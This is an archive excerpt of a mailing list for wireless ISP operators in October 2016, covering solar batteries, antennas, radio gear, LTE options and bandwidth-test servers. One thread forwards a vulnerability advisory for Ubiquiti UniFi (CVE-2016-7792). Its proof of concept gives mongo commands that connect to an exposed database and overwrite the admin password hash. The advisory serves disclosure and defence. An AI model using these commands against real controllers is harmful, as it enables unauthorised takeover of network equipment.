> es/aquion-energy-saltwater-batteries-p40483/?gclid=CjwKEAjwvb2_BRCb_s7
> Yo7_ZlHASJABz6L0jfIx1iUFerslueuwJHCmFBqRfykUmLVgmbE3Ho39nZRoCgpXw_wcB#
> AQU24S-83
>
>
>
> On Sat, Oct 1, 2016 at 1:35 PM, Rory Conaway  > wrote:
>
> 
> https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months
> -theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/
>
> __ __
>
> And wait until Peroksvite starts selling…. 
>
> __ __
>
> Thought you might like that Chuck.
>
> __ __
>
> *Rory Conaway **• Triad Wireless •**CEO*
>
> *4226 S. 37^th Street • Phoenix • AZ 85040*
>
> *602-426-0542 *
>
> *r...@triadwireless.net *
>
> *www.triadwireless.net *
>
> *__ __*
>
> “The other teams could make trouble for us if they win.” — Yogi
> Berra
>
> __ __
>
>

Re: [AFMUG] Solar costs dropping

PV can drop to $0.20/watt to buy bulk 300W polycrystalline PV panels, but
the problem remains *storage*.

Storing many kWh in a reliable system that won't wear out after N cycles is
the costly part. No matter what you do. Lead acid, aquion batteries, tesla
powerwall type system, whatever.

On Sat, Oct 1, 2016 at 10:35 AM, Rory Conaway 
wrote:

> https://electrek.co/2016/09/26/solar-power-cost-down-25-
> in-five-months-theres-no-reason-why-the-cost-of-solar-
> will-ever-increase-again/
>
>
>
> And wait until Peroksvite starts selling….
>
>
>
> Thought you might like that Chuck.
>
>
>
> *Rory Conaway **• Triad Wireless •** CEO*
>
> *4226 S. 37th Street • Phoenix • AZ 85040*
>
> *602-426-0542*
>
> *r...@triadwireless.net *
>
> *www.triadwireless.net *
>
>
>
> “The other teams could make trouble for us if they win.” — Yogi Berra
>
>
>

Re: [AFMUG] alternatives to radiowaves 2' HP for ptp650

2016-10-03 Thread Mathew Howard

We use the UBNT 2' airFiber dishes, or Lightweight RocketDishes (same thing
except H/V vs dual slant), for pretty much everything now... they're deeper
dishes, so there isn't a lot of need for extra shielding (in my opinion,
anyway), but they're probably not the best option for PTP650, since they
have SMA connectors.

I would look at Jirous - they make some nice stuff.

On Mon, Oct 3, 2016 at 1:54 PM, Ken Hohhof  wrote:

> Probably Rocket Dish with RF Armor shield?  Or Jirous?  Hard to beat the
> Radiowaves for build quality though.
>
>
>
> It looks like mWAVE bought out Gabriel so their HP dishes are available
> again, I used to have some of the 2 ft dishes which are drawn aluminum one
> piece parabolic reflector and shroud.  I used to buy them from Last Mile
> Gear.  It looks like Tessco sells them, the price is over $900 though, I
> don’t remember them being that expensive.  Note you probably don’t want to
> use these on a tower that frequently sheds ice, as the shroud can get
> dented up due to the thin aluminum.
>
>
>
> http://gabrielantenna.com/wp-content/uploads/2015/11/5250-
> 5850-QuickFire-HP-151110.R1a.pdf
>
>
>
>
>
> *From:* Af [mailto:af-boun...@afmug.com] *On Behalf Of *That One Guy
> /sarcasm
> *Sent:* Monday, October 3, 2016 1:21 PM
> *To:* af@afmug.com
> *Subject:* [AFMUG] alternatives to radiowaves 2' HP for ptp650
>
>
>
> We have always used the radiowaves hp antennas for the skirted shield,
> nice fine adjustment mount, and generally good performance in high
> interference areas.
>
>
>
> Havent really looked for comparable (preferrably lower cost) antennas for
> ptp.
>
>
>
> we dont have any problem with these, we like them, consider them cost
> effective, but whats out there that will tickle me like these do?
>
>
>
> --
>
> If you only see yourself as part of the team but you don't see your team
> as part of yourself you have already failed as part of the team.
>

Re: [AFMUG] alternatives to radiowaves 2' HP for ptp650

The more expensive Jirous models?  Or the 30/32dBi slant 45 dishes with
built in shroud sold by ubnt for use with the AF5X.

I do wonder at the side lobe rejection and f/b ratio of those compared to a
"old" rocketdish with the heavier metal rf armor shield and box on the
rear, however.

On Mon, Oct 3, 2016 at 11:20 AM, That One Guy /sarcasm <
thatoneguyst...@gmail.com> wrote:

> We have always used the radiowaves hp antennas for the skirted shield,
> nice fine adjustment mount, and generally good performance in high
> interference areas.
>
> Havent really looked for comparable (preferrably lower cost) antennas for
> ptp.
>
> we dont have any problem with these, we like them, consider them cost
> effective, but whats out there that will tickle me like these do?
>
> --
> If you only see yourself as part of the team but you don't see your team
> as part of yourself you have already failed as part of the team.
>

Re: [AFMUG] 450 AP Watchdog Reset

2016-10-03 Thread Chris Wright

**System Startup**
System Reset Exception -- Watchdog Reset
Software Version : CANOPY 14.2 (Build 30) AP-None
Board Type : P12
Boot Bank : 1
Board Temperature : 19 C / 66 F
Device Setting : 5.4GHz MIMO OFDM - Access Point - 0a-00-3e-**-**-** 5480.0 MHz 
- 20.0 MHz - 1/16 - CC 208 - 2.5 ms - North America/United States
FPGA Version : 061516
FPGA Features : DES, Sched, US/ETSI;
10/03/2016 : 04:58:53 PST : :Time Set
10/03/2016 : 04:59:06 PST : Acquired sync pulse from Power Port

Chris Wright
Network Administrator

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Chitrang Srivastava
Sent: Monday, October 03, 2016 11:18 AM
To: af@afmug.com
Subject: Re: [AFMUG] 450 AP Watchdog Reset

Hi Chris,
Please share Event logs.

Thanks,
Chitrang

From: Af > on behalf of Chris 
Wright >
Sent: 03 October 2016 23:12:01
To: af@afmug.com
Subject: [AFMUG] 450 AP Watchdog Reset

Is the watchdog reset bug still a thing? I thought it was resolved a long time 
ago but I just had an AP on 14.2 (build 30) reboot on me.

Chris Wright
Network Administrator

Re: [AFMUG] alternatives to radiowaves 2' HP for ptp650

Probably Rocket Dish with RF Armor shield?  Or Jirous?  Hard to beat the 
Radiowaves for build quality though.

 

It looks like mWAVE bought out Gabriel so their HP dishes are available again, 
I used to have some of the 2 ft dishes which are drawn aluminum one piece 
parabolic reflector and shroud.  I used to buy them from Last Mile Gear.  It 
looks like Tessco sells them, the price is over $900 though, I don’t remember 
them being that expensive.  Note you probably don’t want to use these on a 
tower that frequently sheds ice, as the shroud can get dented up due to the 
thin aluminum.

 

http://gabrielantenna.com/wp-content/uploads/2015/11/5250-5850-QuickFire-HP-151110.R1a.pdf

 

 

From: Af [mailto:af-boun...@afmug.com] On Behalf Of That One Guy /sarcasm
Sent: Monday, October 3, 2016 1:21 PM
To: af@afmug.com
Subject: [AFMUG] alternatives to radiowaves 2' HP for ptp650

 

We have always used the radiowaves hp antennas for the skirted shield, nice 
fine adjustment mount, and generally good performance in high interference 
areas.

 

Havent really looked for comparable (preferrably lower cost) antennas for ptp.

 

we dont have any problem with these, we like them, consider them cost 
effective, but whats out there that will tickle me like these do?


 

-- 

If you only see yourself as part of the team but you don't see your team as 
part of yourself you have already failed as part of the team.

Re: [AFMUG] where is 3,5GHz heading to ?

2016-10-03 Thread Mathew Howard

Same here... the only realistic options at this point seem to be
PMP450/Medusa or LTE. They each both have different strong points, but I'm
leaning towards Baicells LTE at this point... but I haven't actually done
anything with any LTE stuff yet, so my opinion could very well change once
I've had some real experience.

The Baicells CPE are quite a bit cheaper than PMP450 SMs, so it should
actually cheaper than Canopy, with enough customers per sector.

On Mon, Oct 3, 2016 at 8:42 AM, Adam Moffett  wrote:

> We're wrestling with the same question here.
>
> M365 is inconsistent.
>
> We're testing Telrad LTE.  It's too soon to say much though.
>
>
> -- Original Message --
> From: "Stefan Englhardt" 
> To: "af@afmug.com" 
> Sent: 10/3/2016 6:37:56 AM
> Subject: [AFMUG] where is 3,5GHz heading to ?
>
>
> At the moment there are the following options:
>
>
>
> TDD LTE (Baicells / Telrad / Huawei)
>
>
>
> PMP450 (Cambium)
>
>
>
> WiMAX (Cambium/Purewave/Telrad)
>
>
>
> UBNT M365 (Ubiquity)
>
>
>
> WiMAX and UBNT do not have any development/future. TDD-LTE claims good
> NLOS capabilities. PMP450 claims higher sector capacity with LOS (QAM256).
> LTE claims Standards compatibility while there are not much options to
> select between. Baicell seem to bring LTE costs down to the Level of PMP450
> while both are way above the level of wifi-based 5GHz systems. Baicell is
> in a testing/beta stage phase. PMP450 may increase performance/NLOS
> capability with cnMedusa next year. Not seen any announcements where
> TDD-LTE implementations are heading to next year.
>
>
>
> We’re still running WiMAX for NLOS as there is no clear path where to go
>
>
>
>

[AFMUG] alternatives to radiowaves 2' HP for ptp650

2016-10-03 Thread That One Guy /sarcasm

We have always used the radiowaves hp antennas for the skirted shield, nice
fine adjustment mount, and generally good performance in high interference
areas.

Havent really looked for comparable (preferrably lower cost) antennas for
ptp.

we dont have any problem with these, we like them, consider them cost
effective, but whats out there that will tickle me like these do?

-- 
If you only see yourself as part of the team but you don't see your team as
part of yourself you have already failed as part of the team.

Re: [AFMUG] 450 AP Watchdog Reset

2016-10-03 Thread Chitrang Srivastava

Hi Chris,
Please share Event logs.

Thanks,
Chitrang

From: Af  on behalf of Chris Wright 
Sent: 03 October 2016 23:12:01
To: af@afmug.com
Subject: [AFMUG] 450 AP Watchdog Reset

Is the watchdog reset bug still a thing? I thought it was resolved a long time 
ago but I just had an AP on 14.2 (build 30) reboot on me.

Chris Wright
Network Administrator

[AFMUG] 450i Problems maintaining gigabit.

2016-10-03 Thread Forrest Christian (List Account)

We have very recently started getting a whole bunch of support queries
which are from customers maintaining a gigabit link on a 450i.   The link
seems to come up at gig, then some time later drops back to 100Mb/s.

So far, we haven't nailed down a cause.   Some seem to be related to the
sync pulse, others are completely unaffected by this.  Some seem to be
related to the addition of a surge suppressor to the link (even a good
quality one), some not.  I'm even aware of quite a few cases where
replacement of our gear with a stock cambium injector doesn't fix the
problem - so I'm pretty comfortable in feeling that something other than
our power injection equipment is the root cause.

The commonality of most of these are longer cable runs.  All of the normal
things have been tried (swapping cables, reterminating ends, validating
cables, etc.).   I also suspect that these are newer 450i's.  (I'm not sure
if we've seen this on a 450 or not).

So, what I'm hoping for from the list is to determine if this problem is
widespread, and if there seems to be any relation to how old the 450i is,
or a firmware version update, or something else so I can help fix this for
my customers.   Any information would be helpful.

-- 
*Forrest Christian* *CEO**, PacketFlux Technologies, Inc.*
Tel: 406-449-3345 | Address: 3577 Countryside Road, Helena, MT 59602
forre...@imach.com | http://www.packetflux.com

Re: [AFMUG] BTEST server to use for a few hours

2016-10-03 Thread Jason Wilson

Subject: Public-Mikrotik-Bandwidth-Test-Server
*EDIT: Feb 24 2016 --- Now supports up to 3.5 Gig speedtest - read all the
posts *

I have setup a public accessible Bandwidth test server. It is available for
temporary testing through the Internet.

To use this server to test your Mikrotik devices through the Internet you
agree not to abuse it.

Here are the details for my server:
- x86 ROS hosted on VMware ESXi server (with 10-gig connection to the
Internet)
- Burstable to 250 Meg up/down
- Sustained traffic is limited to 100 Meg up/down (after about 30 to 60
seconds)
- Your maximum connection time for testing is not to exceed 10 minutes.
- IP Address: 207.32.195.2
- btest user authentication needed: User: btest Password: btest
- You may NOT winbox to this machine - you may bandwidth test to it.

Please post your positive and/or negative results or thoughts.

If this server is abused, I will discontinue it.
I hope this helps Mikrotik network admins everywhere.

North Idaho Tom Jones

Jason Wilson
Remotely Located
Providing High Speed Internet to out of the way places.
530-651-1736
530-748-9608 Cell
www.remotelylocated.com

On Mon, Oct 3, 2016 at 10:33 AM, Sterling Jacobson 
wrote:

> I believe mine should do over 500Mbps, give it a try: 50.114.231.72
>
>
>
> *From:* Af [mailto:af-boun...@afmug.com] *On Behalf Of *Paul McCall
> *Sent:* Monday, October 3, 2016 11:27 AM
> *To:* af@afmug.com
> *Subject:* [AFMUG] BTEST server to use for a few hours
>
>
>
> Any public BTEST server’s out there?  Need to do a few 500Mb tests for 30
> seconds each over the next 24 hours
>
>
>
> Paul McCall, President
>
> PDMNet, Inc. / Florida Broadband, Inc.
>
> 658 Old Dixie Highway
>
> Vero Beach, FL 32962
>
> 772-564-6800
>
> pa...@pdmnet.net
>
> www.pdmnet.com
>
> www.floridabroadband.com
>
>
>
>
>

[AFMUG] 450 AP Watchdog Reset

2016-10-03 Thread Chris Wright

Is the watchdog reset bug still a thing? I thought it was resolved a long time 
ago but I just had an AP on 14.2 (build 30) reboot on me.

Chris Wright
Network Administrator

Re: [AFMUG] BTEST server to use for a few hours

2016-10-03 Thread Sterling Jacobson

I believe mine should do over 500Mbps, give it a try: 50.114.231.72

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Paul McCall
Sent: Monday, October 3, 2016 11:27 AM
To: af@afmug.com
Subject: [AFMUG] BTEST server to use for a few hours

Any public BTEST server's out there?  Need to do a few 500Mb tests for 30 
seconds each over the next 24 hours

Paul McCall, President
PDMNet, Inc. / Florida Broadband, Inc.
658 Old Dixie Highway
Vero Beach, FL 32962
772-564-6800
pa...@pdmnet.net
www.pdmnet.com
www.floridabroadband.com

[AFMUG] BTEST server to use for a few hours

2016-10-03 Thread Paul McCall

Any public BTEST server's out there?  Need to do a few 500Mb tests for 30 
seconds each over the next 24 hours

Paul McCall, President
PDMNet, Inc. / Florida Broadband, Inc.
658 Old Dixie Highway
Vero Beach, FL 32962
772-564-6800
pa...@pdmnet.net
www.pdmnet.com
www.floridabroadband.com

[AFMUG] GPS Sync for PTP600

2016-10-03 Thread Wireless Administrator

What's the most cost effective way to provide GPS Sync for ptp-600
equipment? 

WB3665HH - Cambium PTP 650 Sync Unit 4-Port?

Steve B.

Re: [AFMUG] Solar costs dropping

2016-10-03 Thread Chris Wright

Psh.

Everyone knows the batteries were a sham and the true power source was 
mustaches and bowler hats.

Chris Wright
Network Administrator

From: Af [mailto:af-boun...@afmug.com] On Behalf Of ch...@wbmfg.com
Sent: Sunday, October 02, 2016 12:24 PM
To: af
Subject: Re: [AFMUG] Solar costs dropping

That is what powered the first production electric cars.
[https://upload.wikimedia.org/wikipedia/commons/e/e7/Thomas_Parker_Electric_car.jpg]

From: Forrest Christian (List Account)
Sent: Sunday, October 2, 2016 12:23 PM
To: af
Subject: Re: [AFMUG] Solar costs dropping

Iron edison is the brand you see quite a bit at solar shows

On Oct 2, 2016 9:45 AM, > wrote:
There used to be a “NiFe” battery company.  Had some in central offices years 
ago.  Pretty robust units.

From: Forrest Christian (List Account)
Sent: Sunday, October 2, 2016 2:25 AM
To: af
Subject: Re: [AFMUG] Solar costs dropping

The "new again" technology which seems most appropriate for solar is nickel 
iron.

See https://en.m.wikipedia.org/wiki/Nickel%E2%80%93iron_battery

There are a few vendors which are making these new at this point...  previously 
most of them in use were refurbished cells from when they were more popular.

On Oct 1, 2016 2:09 PM, "Kurt Fankhauser" 
> wrote:
That company that has the salt water batteries said they wanna cut the cost on 
them in half over the next 5 years. Then that's really going to get 
interesting... Read somewhere the lifespan was 20 years on them and also they 
are not affected by low temperatures once fully discharged.

On Sat, Oct 1, 2016 at 4:15 PM, Robert Andrews 
> wrote:
According to the news around here, lead acid batteries are the most recycled 
device on the planet...   They are just about to open a new "green" recycling 
plant here that doesn't generate all the bad gasses that a normal plant does 
when heating the mess to 1300 degrees to melt it all apart..   So we have been 
given the 30 second crash news education on lead acid batteries for the last 
week...

On 10/01/2016 11:53 AM, Ken Hohhof wrote:
I would think lead-acid batteries are almost 100% recyclable, I’m not
sure about Li-Ion.  I try to avoid Chinese made AGM batteries because of
their poor track record on the environment, but it’s hard to avoid them
entirely.

Maybe I’m naïve, and when I take used batteries to the battery dealer
for recycling, they toss them in the dumpster and they are hauled to the
landfill.  But I would think at least the lead would be worth enough to
recover.

*From:*Af [mailto:af-boun...@afmug.com] *On Behalf Of *Lewis Bergman
*Sent:* Saturday, October 1, 2016 1:43 PM
*To:* af@afmug.com
*Subject:* Re: [AFMUG] Solar costs dropping

That seems expensive for the AH. They sound like they recover better
from deep discharge. The last time I bought 75AH batteries they were
~$200 each.  so for somewhere less than half the money you get close to
the same AH and they added bonus of destroying the planet.

On Sat, Oct 1, 2016 at 12:57 PM Kurt Fankhauser
>>
 wrote:

I've been seriously looking at solar for off grid, biggest problem
was the batteries but then I found these salt water batteries that
seem to be the solution to all the problems associated with battery
systems, they have a 24v version for a 2.2Kwh cell that I was going
to wire up to an APC-XL ups and see what happened

https://www.altestore.com/store/deep-cycle-batteries/saltwater-batteries/aquion-energy-saltwater-batteries-p40483/?gclid=CjwKEAjwvb2_BRCb_s7Yo7_ZlHASJABz6L0jfIx1iUFerslueuwJHCmFBqRfykUmLVgmbE3Ho39nZRoCgpXw_wcB#AQU24S-83

On Sat, Oct 1, 2016 at 1:35 PM, Rory Conaway >> wrote:

https://electrek.co/2016/09/26/solar-power-cost-down-25-in-five-months-theres-no-reason-why-the-cost-of-solar-will-ever-increase-again/

And wait until Peroksvite starts selling….

Thought you might like that Chuck.

*Rory Conaway **• Triad Wireless •**CEO*

*4226 S. 37^th Street • Phoenix • AZ 85040*

*602-426-0542 *

*r...@triadwireless.net 
*

*www.triadwireless.net 
*

**

“The other teams could make trouble for us if they win.” — Yogi
Berra

Re: [AFMUG] Fwd: [FD] Critical Vulnerability in Ubiquiti UniFi

2016-10-03 Thread George Skorup

Is this a Windows thing or something? On Linux I see mongod running with
--bind_ip 127.0.0.1. My controller is running on CentOS 6 using the
UniFi unix generic package. And MongoDB out of the EPEL repo.

On 10/3/2016 6:24 AM, Mike Hammett wrote:
I first saw this a few days ago. The port should be firewalled off,
yes, but also they should have it bound to localhost and not a public
facing port.

-
Mike Hammett
Intelligent Computing Solutions

Midwest Internet Exchange

The Brothers WISP

*From: *"Paul Stewart"
*To: *"Animal Farm"
*Sent: *Monday, October 3, 2016 3:10:28 AM
*Subject: *[AFMUG] Fwd: [FD] Critical Vulnerability in Ubiquiti UniFi

Don’t have time to test this out but thought I’d pass this along ….

My first thought is why anyone would have their ports exposed across
the internet to allow this to happen, if it’s possibly true….

Paul

Begin forwarded message:

*From: *Tim Schughart >
*Subject: **[FD] Critical Vulnerability in Ubiquiti UniFi*
*Date: *September 30, 2016 at 5:49:26 AM EDT
*To: *fulldisclos...@seclists.org
, bugt...@securityfocus.com
, webapp...@securityfocus.com

*Cc: *"Khanh Quoc. Pham" >

Hello @all,

together with my colleague we found two uncritical vulnerabilities
you'll find below.

Product: UniFi AP AC Lite
Vendor: Ubiquiti Networks Inc.

Internal reference: ? (Bug ID)
Vulnerability type: Incorrect access control
Vulnerable version: Unify 5.2.7 and possible other versions
affected (not tested)
Vulnerable component: Database
Report confidence: yes
Solution status: Not fixed by Vendor, the bug is a feature.
Fixed versions: -
Researcher credits: Tim Schughart, Immanuel Bär, Khanh Quoc Pham
of ProSec Networks
Solution date: -
Public disclosure: 2016-09-30
CVE reference: CVE-2016-7792
CVSSv3: 8.8 AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Vulnerability Details:
You are able to connect to the access points database, because of
an broken authentication (OWASP TOP10). So you are able to modify
the database and read the data. An possible scenario you'll find
in PoC section.

Risk:
An attacker gets access to the database and for e.g. is able to
change the admins password, like you see in PoC below.

PoC:
1. Generate SHA512 Hash with e.g.
mkpasswd -m sha-512

2. Connect via network to database, e.g. :
mongo --port 27117 --host target_ip

3. Change password via command
"db.admin.update({"name":"ProSec"}, {$set : {"x_shadow":

"$6$Se9i5I7k3hI8d4bk$CqEXRUwk7c7A/62E/HcC4SrMSLOrBdm7wRvwTS4t.nNJA3RYta0RfzJpuREg.qcAHsPGW9Gjwm3krJROXzbCv."}})"
4. Login via web interface with new password

Best regards / Mit freundlichen Grüßen

Tim Schughart
CEO / Geschäftsführer

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Re: [AFMUG] Wireless Hardhat Camera

2016-10-03 Thread Gino Villarini

an iphone... run fb live, periscope os something similar...

On Mon, Oct 3, 2016 at 11:05 AM, Josh Luthman 
wrote:

> A) it's 2.4
> B) range is pitiful
>
>
> Josh Luthman
> Office: 937-552-2340
> Direct: 937-552-2343
> 1100 Wayne St
> Suite 1337
> Troy, OH 45373
>
> On Mon, Oct 3, 2016 at 11:04 AM, Daniel White  wrote:
>
>> Why not use a GoPro?
>>
>> Get one with Wi-Fi and you can view the video stream from the ground on
>> the app.
>>
>> Daniel White
>> Managing Director – Hardware Distribution Sales
>> ConVergence Technologies
>> Cell: +1 (303) 746-3590
>> dwh...@converge-tech.com
>>
>>
>> > -Original Message-
>> > From: Af [mailto:af-boun...@afmug.com] On Behalf Of Matt
>> > Sent: Monday, October 3, 2016 8:14 AM
>> > To: af@afmug.com
>> > Subject: [AFMUG] Wireless Hardhat Camera
>> >
>> > Anyone know of a wireless camera that can mount to a hardhat for tower
>> > work etc?  Hopefully run on 5.2 ghz or 5.4 ghz bands and have decent
>> battery
>> > life.
>>
>>
>> ---
>> This email has been checked for viruses by Avast antivirus software.
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>>
>

Re: [AFMUG] where is 3,5GHz heading to ?

2016-10-03 Thread Rick Harnish

All LTE equipment following the 3GPP standard should be interoperable.  Meaning 
UE/CPE/SMs or whatever you want to call client devices, are supposed to work 
with other eNodeB/Base Station and EPC/Cores.  

 

Respectfully,

 

Rick Harnish

Director of WISP Markets

Baicells Technologies, N.A.

Mobile: +1.972.922.1443

Email: rick.harn...@baicells.com

  Follow us on Facebook for the latest news

 

From: Af [mailto:af-boun...@afmug.com] On Behalf Of Stefan Englhardt
Sent: Monday, October 3, 2016 11:01 AM
To: af@afmug.com
Subject: Re: [AFMUG] where is 3,5GHz heading to ?

 

Is Telrad and Baicells interoperable? Do cpes of both work with both BS? Or is 
the decision for one of them final? I see pricing of baicells listed by 
distributors so I guess they are cheaper than Telrad.

 Ursprüngliche Nachricht 
Von: Adam Moffett  > 
Datum: 03.10.2016 15:42 (GMT+01:00) 
An: af@afmug.com   
Betreff: Re: [AFMUG] where is 3,5GHz heading to ? 

We're wrestling with the same question here.  

 

M365 is inconsistent. 

 

We're testing Telrad LTE.  It's too soon to say much though.

 

 

-- Original Message --

From: "Stefan Englhardt"  >

To: "af@afmug.com  "  >

Sent: 10/3/2016 6:37:56 AM

Subject: [AFMUG] where is 3,5GHz heading to ?

 

At the moment there are the following options:

 

TDD LTE (Baicells / Telrad / Huawei)

 

PMP450 (Cambium)

 

WiMAX (Cambium/Purewave/Telrad)

 

UBNT M365 (Ubiquity)

 

WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year. 

 

We’re still running WiMAX for NLOS as there is no clear path where to go

Re: [AFMUG] Wireless Hardhat Camera

2016-10-03 Thread Josh Luthman

A) it's 2.4
B) range is pitiful


Josh Luthman
Office: 937-552-2340
Direct: 937-552-2343
1100 Wayne St
Suite 1337
Troy, OH 45373

On Mon, Oct 3, 2016 at 11:04 AM, Daniel White  wrote:

> Why not use a GoPro?
>
> Get one with Wi-Fi and you can view the video stream from the ground on
> the app.
>
> Daniel White
> Managing Director – Hardware Distribution Sales
> ConVergence Technologies
> Cell: +1 (303) 746-3590
> dwh...@converge-tech.com
>
>
> > -Original Message-
> > From: Af [mailto:af-boun...@afmug.com] On Behalf Of Matt
> > Sent: Monday, October 3, 2016 8:14 AM
> > To: af@afmug.com
> > Subject: [AFMUG] Wireless Hardhat Camera
> >
> > Anyone know of a wireless camera that can mount to a hardhat for tower
> > work etc?  Hopefully run on 5.2 ghz or 5.4 ghz bands and have decent
> battery
> > life.
>
>
> ---
> This email has been checked for viruses by Avast antivirus software.
> https://www.avast.com/antivirus
>
>

Re: [AFMUG] Wireless Hardhat Camera

2016-10-03 Thread Daniel White

Why not use a GoPro?

Get one with Wi-Fi and you can view the video stream from the ground on the app.

Daniel White
Managing Director – Hardware Distribution Sales
ConVergence Technologies
Cell: +1 (303) 746-3590
dwh...@converge-tech.com


> -Original Message-
> From: Af [mailto:af-boun...@afmug.com] On Behalf Of Matt
> Sent: Monday, October 3, 2016 8:14 AM
> To: af@afmug.com
> Subject: [AFMUG] Wireless Hardhat Camera
>
> Anyone know of a wireless camera that can mount to a hardhat for tower
> work etc?  Hopefully run on 5.2 ghz or 5.4 ghz bands and have decent battery
> life.


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Re: [AFMUG] where is 3,5GHz heading to ?

Is Telrad and Baicells interoperable? Do cpes of both work with both BS? Or is 
the decision for one of them final? I see pricing of baicells listed by 
distributors so I guess they are cheaper than Telrad.

 Ursprüngliche Nachricht 
Von: Adam Moffett  
Datum: 03.10.2016  15:42  (GMT+01:00) 
An: af@afmug.com 
Betreff: Re: [AFMUG] where is 3,5GHz heading to ? 


We're wrestling with the same question here.  
 
M365 is inconsistent. 
 
We're testing Telrad LTE.  It's too soon to say much though.
 
 
-- Original Message --
From: "Stefan Englhardt" 
To: "af@afmug.com" 
Sent: 10/3/2016 6:37:56 AM
Subject: [AFMUG] where is 3,5GHz heading to ?
 



At the moment there are the following options:
 
TDD LTE (Baicells / Telrad / Huawei)
 
PMP450 (Cambium)
 
WiMAX (Cambium/Purewave/Telrad)
 
UBNT M365 (Ubiquity)
 
WiMAX and UBNT do not have any development/future. TDD-LTE claims good NLOS 
capabilities. PMP450 claims higher sector capacity with LOS (QAM256). LTE 
claims Standards compatibility while there are not much options to select 
between. Baicell seem to bring LTE costs down to the Level of PMP450 while both 
are way above the level of wifi-based 5GHz systems. Baicell is in a 
testing/beta stage phase. PMP450 may increase performance/NLOS capability with 
cnMedusa next year. Not seen any announcements where TDD-LTE implementations 
are heading to next year. 
 
We’re still running WiMAX for NLOS as there is no clear path where to go

[AFMUG] Cable companies may lose a lot more subscribers this year.

2016-10-03 Thread Rory Conaway

http://www.businessinsider.com/cord-cutters-could-cost-industry-nearly-1-billion-2016-9

Rory Conaway * Triad Wireless * CEO
4226 S. 37th Street * Phoenix * AZ 85040
602-426-0542
r...@triadwireless.net
www.triadwireless.net

"The other teams could make trouble for us if they win." - Yogi Berra

[AFMUG] Wireless Hardhat Camera

2016-10-03 Thread Matt

Anyone know of a wireless camera that can mount to a hardhat for tower
work etc?  Hopefully run on 5.2 ghz or 5.4 ghz bands and have decent
battery life.

Re: [AFMUG] OT - Golf Cart Batts

2016-10-03 Thread chuck

One right by where I was already going this morning.  Thanks.

From: Harold Bledsoe 
Sent: Sunday, October 2, 2016 11:48 PM
To: af@afmug.com 
Subject: Re: [AFMUG] OT - Golf Cart Batts

If you have a batteries plus store they aren't bad either. 

https://www.batteriesplus.com/

On Sunday, October 2, 2016,  wrote:

  Do any of the big box stores carry golf cart batts.  I need a GC2 107 aH for 
my warehouse floor scrubbing machine.  

-- 

Harold Bledsoe

Re: [AFMUG] where is 3,5GHz heading to ?

2016-10-03 Thread Adam Moffett


We're wrestling with the same question here.

M365 is inconsistent.

We're testing Telrad LTE.  It's too soon to say much though.


-- Original Message --
From: "Stefan Englhardt" 
To: "af@afmug.com" 
Sent: 10/3/2016 6:37:56 AM
Subject: [AFMUG] where is 3,5GHz heading to ?


At the moment there are the following options:



TDD LTE (Baicells / Telrad / Huawei)



PMP450 (Cambium)



WiMAX (Cambium/Purewave/Telrad)



UBNT M365 (Ubiquity)



WiMAX and UBNT do not have any development/future. TDD-LTE claims good 
NLOS capabilities. PMP450 claims higher sector capacity with LOS 
(QAM256). LTE claims Standards compatibility while there are not much 
options to select between. Baicell seem to bring LTE costs down to the 
Level of PMP450 while both are way above the level of wifi-based 5GHz 
systems. Baicell is in a testing/beta stage phase. PMP450 may increase 
performance/NLOS capability with cnMedusa next year. Not seen any 
announcements where TDD-LTE implementations are heading to next year.




We’re still running WiMAX for NLOS as there is no clear path where to 
go

Re: [AFMUG] where is 3,5GHz heading to ?

2016-10-03 Thread Dave

Definitely looking at Fixed as a solution. They wanna drink the Fixed 
Koolaid too but chance favors the prepared mind :)



On 10/03/2016 07:47 AM, Mike Hammett wrote:
It might be different in Europe (deployments, not physics). Here one 
carrier owns nearly all of 2.5. All share the rest of the bands. The 
US carriers have only talked about 3.5 from the small cells aspect. 
Maybe outdoor urban, but definitely high density venues.




-
Mike Hammett
Intelligent Computing Solutions 

Midwest Internet Exchange 

The Brothers WISP 





*From: *"Stefan Englhardt" 
*To: *af@afmug.com
*Sent: *Monday, October 3, 2016 7:43:50 AM
*Subject: *Re: [AFMUG] where is 3,5GHz heading to ?

When it comes to wall penetration 3.5 is not very good. Carriers here 
have 1800 and 2500 for smaller cells.


*Von:*Af [mailto:af-boun...@afmug.com] *Im Auftrag von *Mike Hammett
*Gesendet:* Montag, 3. Oktober 2016 14:16
*An:* af@afmug.com
*Betreff:* Re: [AFMUG] where is 3,5GHz heading to ?

Indoor, they'll use 3.5.



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*From: *"Stefan Englhardt" >
*To: *af@afmug.com 
*Sent: *Monday, October 3, 2016 7:05:16 AM
*Subject: *Re: [AFMUG] where is 3,5GHz heading to ?

As 3.5 GHz isn’t that good with indoor coverage I guess cellulars 
first fill up the spectrum below 3GHz and migrate from UMTS/GPRS/GSM 
to LTE to squeeze more bandwidth out of the lower frequencies. Indoor 
they might use wifi. Vodaphone and T-Mobile e.g. do wifi-calling with 
some handsets.


*Von:*Af [mailto:af-boun...@afmug.com] *Im Auftrag von *Josh Reynolds
*Gesendet:* Montag, 3. Oktober 2016 13:04
*An:* af@afmug.com 
*Betreff:* Re: [AFMUG] where is 3,5GHz heading to ?

3.xx is in the sights of AT, Verizon, Google, etc as well.

On Oct 3, 2016 5:37 AM, "Stefan Englhardt" > wrote:


At the moment there are the following options:

TDD LTE (Baicells / Telrad / Huawei)

PMP450 (Cambium)

WiMAX (Cambium/Purewave/Telrad)

UBNT M365 (Ubiquity)

WiMAX and UBNT do not have any development/future. TDD-LTE claims
good NLOS capabilities. PMP450 claims higher sector capacity with
LOS (QAM256). LTE claims Standards compatibility while there are
not much options to select between. Baicell seem to bring LTE
costs down to the Level of PMP450 while both are way above the
level of wifi-based 5GHz systems. Baicell is in a testing/beta
stage phase. PMP450 may increase performance/NLOS capability with
cnMedusa next year. Not seen any announcements where TDD-LTE
implementations are heading to next year.

We’re still running WiMAX for NLOS as there is no clear path where
to go




--

